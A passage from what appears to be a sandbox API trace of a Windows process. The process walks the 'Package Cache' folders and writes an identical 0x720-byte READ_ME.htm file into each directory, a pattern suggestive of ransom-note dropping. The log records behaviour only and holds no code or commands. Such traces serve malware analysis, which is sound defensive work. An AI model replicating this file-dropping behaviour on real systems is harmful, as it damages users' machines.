lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20296bb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff4c720, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff4c720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.263] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.263] SetErrorMode (uMode=0x0) returned 0x1 [0142.263] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0142.263] SetErrorMode (uMode=0x1) returned 0x0 [0142.263] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20296bb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff4c720, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff4c720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.264] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.264] SetErrorMode (uMode=0x0) returned 0x1 [0142.264] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x81 [0142.264] SetErrorMode (uMode=0x1) returned 0x0 [0142.264] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.265] GetFileType (hFile=0x1d0) returned 0x1 [0142.265] SetErrorMode (uMode=0x0) returned 0x1 [0142.265] GetFileType (hFile=0x1d0) returned 0x1 [0142.265] WriteFile (in: hFile=0x1d0, lpBuffer=0x2884b60*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2884b60*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.266] CloseHandle (hObject=0x1d0) returned 1 [0142.267] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x67 [0142.267] SetErrorMode (uMode=0x1) returned 0x0 [0142.267] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.268] GetFileType (hFile=0x1d0) returned 0x1 [0142.268] SetErrorMode (uMode=0x0) returned 0x1 [0142.268] GetFileType (hFile=0x1d0) returned 0x1 [0142.268] WriteFile (in: hFile=0x1d0, lpBuffer=0x28891c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28891c0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.268] CloseHandle (hObject=0x1d0) returned 1 [0142.268] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0142.269] SetErrorMode (uMode=0x1) returned 0x0 [0142.269] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.270] GetFileType (hFile=0x1d0) returned 0x1 [0142.270] SetErrorMode (uMode=0x0) returned 0x1 [0142.270] GetFileType (hFile=0x1d0) returned 0x1 [0142.270] WriteFile (in: hFile=0x1d0, lpBuffer=0x288d800*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x288d800*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.271] CloseHandle (hObject=0x1d0) returned 1 [0142.271] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x52 [0142.271] SetErrorMode (uMode=0x1) returned 0x0 [0142.271] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20224790, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff72880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff72880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.272] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.272] SetErrorMode (uMode=0x0) returned 0x1 [0142.272] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x52 [0142.273] SetErrorMode (uMode=0x1) returned 0x0 [0142.273] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20224790, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff72880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff72880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.273] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.273] SetErrorMode (uMode=0x0) returned 0x1 [0142.273] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0142.274] SetErrorMode (uMode=0x1) returned 0x0 [0142.274] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff72880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff72880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.274] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.274] SetErrorMode (uMode=0x0) returned 0x1 [0142.275] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0142.275] SetErrorMode (uMode=0x1) returned 0x0 [0142.275] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff72880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff72880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.275] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.275] SetErrorMode (uMode=0x0) returned 0x1 [0142.276] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0142.276] SetErrorMode (uMode=0x1) returned 0x0 [0142.276] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff72880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff72880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.276] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.277] SetErrorMode (uMode=0x0) returned 0x1 [0142.277] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0142.277] SetErrorMode (uMode=0x1) returned 0x0 [0142.277] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff72880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff72880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.278] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.278] SetErrorMode (uMode=0x0) returned 0x1 [0142.278] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x7e [0142.279] SetErrorMode (uMode=0x1) returned 0x0 [0142.279] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.280] GetFileType (hFile=0x1d0) returned 0x1 [0142.280] SetErrorMode (uMode=0x0) returned 0x1 [0142.280] GetFileType (hFile=0x1d0) returned 0x1 [0142.280] WriteFile (in: hFile=0x1d0, lpBuffer=0x28992a8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28992a8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.281] CloseHandle (hObject=0x1d0) returned 1 [0142.281] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x67 [0142.281] SetErrorMode (uMode=0x1) returned 0x0 [0142.282] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.283] GetFileType (hFile=0x1d0) returned 0x1 [0142.283] SetErrorMode (uMode=0x0) returned 0x1 [0142.283] GetFileType (hFile=0x1d0) returned 0x1 [0142.283] WriteFile (in: hFile=0x1d0, lpBuffer=0x289d908*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x289d908*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.284] CloseHandle (hObject=0x1d0) returned 1 [0142.285] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0142.285] SetErrorMode (uMode=0x1) returned 0x0 [0142.285] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.286] GetFileType (hFile=0x1d0) returned 0x1 [0142.286] SetErrorMode (uMode=0x0) returned 0x1 [0142.286] GetFileType (hFile=0x1d0) returned 0x1 [0142.286] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a1f48*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28a1f48*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.288] CloseHandle (hObject=0x1d0) returned 1 [0142.288] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x52 [0142.288] SetErrorMode (uMode=0x1) returned 0x0 [0142.289] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ff989e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff989e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.289] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.289] SetErrorMode (uMode=0x0) returned 0x1 [0142.289] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x52 [0142.290] SetErrorMode (uMode=0x1) returned 0x0 [0142.290] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ff989e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff989e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.290] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.291] SetErrorMode (uMode=0x0) returned 0x1 [0142.302] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0142.302] SetErrorMode (uMode=0x1) returned 0x0 [0142.302] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ff989e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff989e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.303] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.303] SetErrorMode (uMode=0x0) returned 0x1 [0142.303] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0142.303] SetErrorMode (uMode=0x1) returned 0x0 [0142.303] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ff989e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff989e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.304] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.304] SetErrorMode (uMode=0x0) returned 0x1 [0142.304] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0142.305] SetErrorMode (uMode=0x1) returned 0x0 [0142.305] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ff989e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff989e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.305] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.305] SetErrorMode (uMode=0x0) returned 0x1 [0142.305] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x73 [0142.306] SetErrorMode (uMode=0x1) returned 0x0 [0142.306] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ff989e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff989e0, 